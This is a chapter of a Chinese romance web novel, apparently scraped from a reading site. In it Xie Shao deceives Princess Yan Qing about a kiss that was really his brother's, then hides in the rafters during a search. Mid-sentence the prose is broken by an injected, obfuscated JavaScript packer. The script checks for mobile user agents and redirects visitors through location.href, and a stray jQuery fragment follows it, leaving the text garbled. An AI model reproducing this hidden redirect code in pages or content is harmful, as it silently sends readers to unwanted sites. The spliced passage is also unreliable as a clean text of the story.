晏清闻声抬头,见谢韶神色困惑,心中不由得生出一种不祥的预感。她眉头微蹙,语气全然没了方才少女怀春的娇羞:“你难道不记得了?就是会试前一天,我外祖沈丞相寿辰那日呀。”

    谢韶面色微变。

    那天他根本就没去沈丞相的寿宴,倒是谢璟去了。

    和她亲吻的人,是谢璟。

    难怪翌日谢璟的嘴唇一反常态地红润,上面还有处小伤口——敢情根本不是自己咬的,而是晏清咬的!

    谢韶暗自咬紧了牙关。

    他万万没想到,谢璟竟然会伪装成他,占晏清的便宜。什么翩翩郎君,根本就是个衣冠禽兽!呸!

    晏清又见谢韶脸色不大好看,心脏仿佛被一只无形的大手揪住了。她忐忑地问:“郁离你怎么了?难道……那天不是你?”

    谢韶努力冷静下来。

    据他所知,晏清是认为谢璟不喜欢自己,所以才心灰意冷,移情别恋的。如果她知道谢璟喜欢她,很大可能会回头,他可不想让到嘴的鸭子飞了。

    所以他必须认下。

    他闭了闭眼,扯出一个惭愧的笑:“抱歉五娘,我刚刚突然有点不舒服,所以一下子没听清你的话,你能再说一遍吗?”

    “哪里不舒服?”晏清急忙关切道,“现在还在疼吗?”

    “胃。我胃一直不太好。”谢韶答道,“现在已经不疼了。”

    晏清还是不大放心:“要不要找太医帮你看看?”

    谢韶摇头:“不用了,我一直有吃药呢。多谢五娘美意。”

    “那好吧。”

    这时,外面突然传来一阵嘈杂的人声。

    晏清秀眉拢起,让守在珠帘外的碧蓝去看看外面的情况。

    碧蓝领命出去,好一会儿才回来禀报道:“是谢副端正带人追查逃犯呢,说是逃犯进了酒楼,现下把整栋楼都封锁了,不许任何人出入。”

    一听到“谢副端”三字,晏清神情一僵,忍不住在心里抱怨:怎么又遇到他了?

    腹诽完,她吩咐道:“等他来了,让人告诉他,我这儿没有逃犯。”

    “是。”

    晏清又温声对谢韶道:“别担心,我绝不会让他进来的。”

    谢韶眸中荡开温柔的笑意:“好。”

    晏清很快就把思绪从谢璟身上拉回来了,重新问谢韶:“所以我们那天到底是怎么亲上的呀?”她有些惭愧,“你知道的,我当时喝了酒,所以事后脑子里只剩下一个模糊的印象了。”

    谢韶陷入沉默。

    他哪能知道他们怎么会亲到一起?

    他深深吐了一口气,斟酌着说:“抱歉五娘,其实我当时也喝了点小酒,所以记得不是很清楚。大概就是,情到深处,自然而然……”

    “那好吧。”晏清有点失望,但没有过多纠结于此。

    她犹豫了一下,朝谢韶凑近了些许,扭捏道:“那我们现在,应该就是情人关系了吧?”

    谢韶愣了愣。

    这话对他来说极其陌生。他以前从未想过,自己会和谁发展成情人关系。

    他“嗯”了一声,唇角微微勾起。

    但转念又想到谢璟才应该是她的情人,他便莫名有些烦躁,嘴角又落了回去。

    晏清只顾着在心里欢喜,没注意到谢韶的小动作。

    她看了一眼谢韶俊朗的面庞,紧张而期待地问:“那,我们还能不能再亲亲啊……”

    这些天,她经常梦到那日和谢韶拥吻的场景。

    不得不说,那感觉真的挺不错的。

    正所谓“食髓知味”,她一直想再尝试尝试……

    晏清面颊羞红,眼睫微微颤动,贝齿轻轻咬住樱唇,含羞带怯,惹人怜爱。

    谢韶又怔住了。

    他并不是什么规矩的人,但唯独在这方面很规矩。

    小时候,母亲教导他,男人要有担当,若是亲了一个女子,就要对她负责。

    他只是想利用晏清给自己复仇铺路,顺便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16157667|179429||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    给谢璟找点不痛快,他从没想过要跟她成亲。

    可为什么此时他心里并没有很抵触?甚至,还隐约有一丝期待……

    就在这时,碧蓝突然匆匆走到她身边,无奈道:“殿下,谢副端他非要进来。”

    晏清一惊,没想到他动作这么快。

    旋即她又感到烦躁:真是个讨厌的死脑筋!打断她的亲亲!

    但她不想在谢韶面前失了风度,耐着性子起身走到门口,隔着门扇对谢璟说:“我这儿真没有什么逃犯,谢副端不必费功夫了!”

    谢璟却坚持道:“殿下,按照规矩,我们不能放过这间酒楼里的任何一个角落,这也是为了确保殿下安全,还请殿下通融。”

    晏清有些恼怒,沉声道:“我若是偏不许呢?”

    静默了片刻,谢璟的声音才再次响起:“还请殿下通融。”

    看来他今天是非进来不可了。

    晏清气结,暗想自己就不该把约会地点选在这里!

    “没事,让兄长进来吧,我躲起来就是了。”谢韶看准时机走到晏清身后,善解人意地轻声对她说,“否则这样一直僵持下去也不好。”

    晏清蹙眉看向他,低声道:“但他就是来搜查的啊,你能躲在哪里?”

    谢韶伸手指了指头顶。

    晏清惊讶得瞪大眼。

    谢韶道:“兄长应该明白,殿下肯定是不会与逃犯有所牵扯的,所以他们应该不会搜得很仔细。放心。”

    说罢,不等晏清回应,他足尖轻点,顷刻间就跃到了房梁上,像一只灵活敏捷的黑豹。

    晏清目瞪口呆,由衷赞叹道:“你好厉害啊!”

    房梁之上,谢韶不自觉地弯了弯唇角。随后,他转身来到角落。

    那儿光线本就昏暗,谢韶又是一身黑衣,前方还有一盏灯笼遮挡视线,如果不仔细看,根本发现不了他。更何况,大门附近很容易被忽略。

    思及此处,晏清忽然有底气了许多,让人去开门。